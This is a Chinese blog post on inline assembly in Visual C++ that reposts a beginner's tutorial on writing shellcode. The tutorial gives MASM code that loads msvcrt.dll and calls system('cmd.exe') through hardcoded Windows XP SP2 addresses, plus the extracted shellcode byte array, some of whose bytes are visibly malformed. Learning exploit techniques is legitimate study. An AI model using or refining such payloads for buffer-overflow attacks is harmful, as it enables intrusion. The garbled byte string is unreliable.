现在的位置: 首页 > 综合 > 正文

用VC写Assembly代码(5) –函数调用(三)

2013年10月08日 ⁄ 综合 ⁄ 共 2038字 ⁄ 字号 评论关闭

没什么好说的啦,看代码就是啦

#include <windows.h>

void main()
{
 char *a = (char*)MessageBox;
 __asm
 {
  push 0
  push 0
  push 0
  push 0
  mov ebx, 77d5050bh
  call ebx
 }
 printf("%0x/n", a);

顺便转一篇有关SHELLCODE的文章,看起来很简单,但是测试就是不成功.先看看再说.

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

说起ShellCode的编写,那可是一门大学问.本人愚笨,费了好大劲才理解缓冲区溢出的概念.ShellCode可是一次成功的攻击的必不可少的东东,拜读过许多前辈的文章,加上亲身试验,于是有了这么一篇文章.

首先应该有个样本程序,好把ShellCode从中提取出来,要注意的是各个函数的调用都应该用直接Call 函数地址,也就是用C++里面的函数指针,取得各个函数的地址可以先用GetProcAddress()函数取得,并且各个系统里面函数地址也不相同.本来想偷个懒用VC写的,可是发现自己没装VC(晕倒~~~)  那还是用汇编写吧

这个程序首先是LoadLibraryA(msvcrt.dll),然后system(cmd.exe),听起来很简单吧,写起来也很简单

.386
.model flat,stdcall
option casemap:none

.data

.code

start:
    ;LoadLibraryA("msvcrt.dll")
    push ebp
    mov ebp,esp
    push eax
    push eax
    push eax

    mov eax,4356534Dh
    mov dword ptr[ebp-0Ch], eax
    mov eax,442E5452h
    mov dword ptr[ebp-08h], eax
    mov byte ptr[ebp-04h],4Ch
    mov byte ptr[ebp-03h],4Ch
   
    ;我的系统是XP SP2 MSDN版  相关的函数地址也就是这个版本的 
    lea eax,[ebp-0Ch]
    push eax
    mov edx,7C801D77h
    call edx
   

    ;system(cmd.exe)
    push ebp
    mov ebp, esp
    sub esp, 0Ch
   
    mov eax, 2E444D43h
    mov dword ptr [ebp-08h], eax
    mov byte ptr [ebp-04h], 45h
    mov byte ptr [ebp-03h], 58h
    mov byte ptr [ebp-02h], 45h
   
   
    xor edx, edx
    mov byte ptr [ebp-1h], dl
    lea eax, dword ptr [ebp-08h]
    push eax
    mov eax, 77BF93C7h
    call eax
   
    ;ExitProcess(0)
    push 0
    mov eax,7C81CDDAh 
    call eax
   

end start

哈哈,挺简单吧,用MASM编译链接.运行一下  一个可爱的CMD.exe打开了.最后一步提取就更简单了,用调试器查看机器码,抓紧写吧   哈哈   这不 出来了

unsigned char shellcode[]=
"/x55/x8B/xEC/x50/x50/x50/xB8/x4D/x53/x56/x43/x89/x45"
"/xF4/xB8/x52/x54/x2E/x44/x89/x45/xF8/xC6/x45/xFC"
"/x4C/xC6/x45/xFD/x4C/x8D/x45F4/x50/xBA"
"/x77/x1D/x80/x7C" //Address of LoadLibraryA in WinXPSP2
"/xFF/xD2/x55/x8B/xEC/x83/xEC/x0C/xB8/x43/x4D/x44/x2E"
"/x89/x45/xF8/xC6/x45/xFC/x45/xC6/x45/xFD/x58/xC645/xFE"
"/x45/x33/xD2/x88/x55/xFF/x8D/x45/xF8/x50/xB8"
"/xC7/x93/xBF/x77" //Address of system in WinXPSP2
"/xFF/xD0";

这个简单的ShellCode虽然很简单也不实用,但是学习就是要一步一个脚印,有浅至深,这算是在这里记一笔我这几天的一点学习内容.

抱歉!评论已关闭.